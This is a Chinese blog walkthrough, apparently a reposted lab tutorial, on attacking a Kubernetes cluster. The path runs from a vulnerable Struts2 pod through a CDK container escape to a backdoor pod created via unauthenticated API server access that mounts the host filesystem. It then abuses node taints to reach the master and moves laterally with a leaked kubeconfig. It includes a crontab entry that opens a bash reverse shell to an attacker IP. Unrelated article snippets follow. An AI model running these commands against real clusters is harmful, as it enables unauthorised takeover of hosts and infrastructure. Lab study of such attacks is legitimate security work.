云上攻防-云原生K8s安全实战场景攻击Pod污点Taint横向移动容器逃逸

news/2025/1/9 5:02:05/文章来源:https://www.cnblogs.com/loveqixin/p/18657760

知识点

1、云原生-K8s安全-横向移动-污点Taint
2、云原生-K8s安全-Kubernetes实战场景
一、演示案例-云原生-K8s安全-横向移动-污点Taint

如何判断实战中能否利用污点Taint?

设置污点
kubectl taint nodes node1 xtz=value1:NoSchedule

去除污点
kubectl taint nodes node1 xtz:NoSchedule-

节点说明中,查找 Taints 字段
拿到node节点权限时可以查看其他node主机或者master主机是否支持用Taint污点横向移动
kubectl describe nodes node-name
image
image
image
image
二、演示案例-云原生-K8s安全-Kubernetes实战场景

image

1、攻击Pod部署Web应用

Web应用部署:(struts2漏洞)

拉取靶场镜像
kubectl create deployment xiaodi --image=vulhub/struts2:2.3.28
image
查看pod容器的状态(归属节点、内部IP、运行状态等)
kubectl get pods -o wide
image
启动靶场镜像服务
kubectl expose deploy xiaodi --port=8080 --target-port=8080 --type=NodePort
image
kubectl get pod,svc
image
利用Web漏洞拿下权限
image
image
image
image
探针当前Webshell环境是否是docker容器
两种情况
1、纯在docker容器里 2、在k8s下的某个主机里的docker容器
image
ls -al /
image
但是这还没完,因为这个docker容器有很大可能会在k8s下面
cat /proc/1/cgroup
image
docker逃逸
image
工具地址:https://github.com/cdk-team/CDK
image
image
image
image
image
image
image
image
image
image
image

2、利用k8s-Api-Server未授权提交创建后门Pod

image
image
./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
image
或者
./kubectl -s 10.96.0.1:443 create -f test.yaml //test.yam就是{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}的值
查看后门pod是否创建
curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods
image

3、实现挂载目录宿主机逃逸

image
image
image
image
image
加参数绕过交互式
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods
image
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host" //host目录就是挂载目录,相当于宿主机的/目录,可以自定义的。
image

4、利用污点Taint横向移动

参考:https://cn-sec.com/archives/1336486.html
获取node节点详情
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes | grep Taints
image
或者
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes
image

点击查看代码
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:name: control-master-xiaodi  //自定义
spec:tolerations:- key: node-role.kubernetes.io/master  //这里要修改operator: Existseffect: NoSchedulecontainers:- name: control-master-xiaodi //自定义image: ubuntu:18.04command: ["/bin/sleep", "3650d"]volumeMounts:- name: mastermountPath: /master //自定义volumes:- name: masterhostPath:path: /type: Directory
EOF
![image](https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250107153557607-1706767924.png) **创建一个新pod容器** `./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml ` **查看新建pod容器归属** `./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide ` **利用新建pod容器进行逃逸** `./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master" ` ![image](https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250107153714777-33787262.png) **反弹master控制端的shell** `echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab //这里的master路径要注意与上面一致 ` ![image](https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250107153735564-1069515179.png) ![image](https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250107153737715-169920696.png) ![image](https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250107153739119-576217006.png) ### 5、利用Config泄漏横向移动 **也可以利用节点泄漏的config横向移动节点** ![image](https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250107153754315-19724574.png) ![image](https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250107153755771-1472739797.png) `./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

./kubectl apply -f test.yaml -n default --kubeconfig=config

./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"
`

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/865366.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入解析 Spring AI 系列:项目结构一览

从今天起,我们将以 Spring AI 为主线,开始更新一系列的文章。这些文章将围绕 Spring AI 项目展开,结合我的理解,深入讲解其相关的知识点、技术原理、以及在实际开发过程中涉及到的部分代码实现等内容。通过这些文章,希望能够帮助大家更好地理解和使用 Spring AI。今天的主…

BUG:SWM32开机绘制lvgl框架下的某个自定义控件死机

一.BUG描述 现象1.画了一个关于"模式"的自定义控件,结果开机绘制总是死机。 现象2.用keil进行仿真调试全速运行同样死机,但是如果在异常处加断点,然后单步调试就正常。(注:仿真调试比直接运行的速度要慢) 现象3.把这个异常对象的创建代码删除,再后面加四个打印…

大镖客2--中文地图

下载GMM 从网站 https://gmm.aoe.top/ 下载GMM软件 双击安装GMM即可 下载前置 下载大镖客2前置 从我网盘下载: 通过网盘分享的文件:荒野大镖客2 Mod前置包.gmm链接: https://pan.baidu.com/s/1IRorQ9FO7Dy_LzU70U_uRw?pwd=6666 提取码: 6666 选择游戏 找到RDR2.exe文件 …

CDS标准视图:测量点数据 I_MeasuringPointData

视图名称:测量点数据 I_MeasuringPointData 视图类型:基础视图 视图代码:点击查看代码 @AbapCatalog.sqlViewName: IMEASPOINTDATA @AbapCatalog.compiler.compareFilter: true @AccessControl.authorizationCheck: #CHECK @EndUserText.label: Measuring Point Data@VDM.vi…

vxe-table 实现 excel 选择两个单元格,拖拽自动识别数字规则并根据规则自动填充新的单元格

vxe-table 实现 excel 选择两个单元格,拖拽自动识别数字规则并根据规则自动填充新的单元格 官网:https://vxetable.cn鼠标按住右下角扩展按钮,当选取一个单元格时,自动将当前内容填充到扩展区域的所有单元格中,如果不希望自动识别数字规则,可以同时按住 ctrl 键可取消值自…

《模态测试、分析与仿真》网络研讨会

模态测试的目的和方法 如何利用有限元仿真数据进行建模和优化测点选择 模态参数识别和验证 模态分析结果如何与有限元仿真结果进行相关以上内容来源于网络,如有侵权,请联系删除!

新开了一家宠物公园,如何营销?

宠物公园可以借助看板软件进行营销,通过明确营销目标、利用看板软件进行任务管理、数据可视化与分析、优化客户互动与品牌建设以及整合供应链与提升运营效率等多个方面提升营销效率和效果。宠物公园可以借助看板软件进行营销,通过数据可视化、任务管理、客户互动等多个方面提…

pkusc/wc 做题记录题解

漆黑空心也想被释放,奈何思念比恨更顽强鲜花所有题目来源:search pku in qoj 参考文章:DaiRuiChens blog:PKUSC2024,云浅s blog:THUSC/PKUSC 2024cyfffs blog:PKUWC2024,realskcs blog:PKUWC2024 Day1,PKUWC2024 Day2ix35s blog:PKUSC2023,aleph1022s blog:PKUSC …

荣耀再续 | 蚁景科技在第136届广交会测试赛中再获团体亚军佳绩

近日,在第136届广交会网络平台测试赛中,蚁景科技凭借卓越表现与精湛技术脱颖而出,斩获团体积分132分,再度荣膺第二名的佳绩,续写荣誉篇章。近日,在备受瞩目的第 136 届广交会网络平台测试赛中,蚁景科技凭借卓越表现与精湛技术脱颖而出。此次比赛由中国网络空间安全教育论…

altium designer中布线如何走圆角.如图所示。我按了shift+空格键。可依旧是走45读的角。麻烦指教啊。急求

按TP键,在PCB Editor_Interactive Routing中,看是否选择了Restrict To 90/45,取消勾选即可更多追问追答追问取消了还是没用 追答shift+空格键要多按几次,是循环切换的转载自: https://zhidao.baidu.com/question/536745523.html

nginx下载安装配置

nginx下载安装配置 环境:win10虚拟机Vmware,在linux(centos7.6)下安装nginx(nginx-1.20.2.tar.gz) 注意:在linux中,不是管理员登录,最好在指令前加上sudo提权,避免权限不够执行失败带来的麻烦,以下命令请都加上sudo,这是一个好习惯。 下载 https://nginx.org/ …

WindowsLog_Check:日志分析

声明免责 仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。介绍 该工具支持一键获取windows主机的日志,主机信息,GUI显示,支持使用微步KEY对文件进行MD5分析,支持检测相同MD5的文件,支持对内存进行字…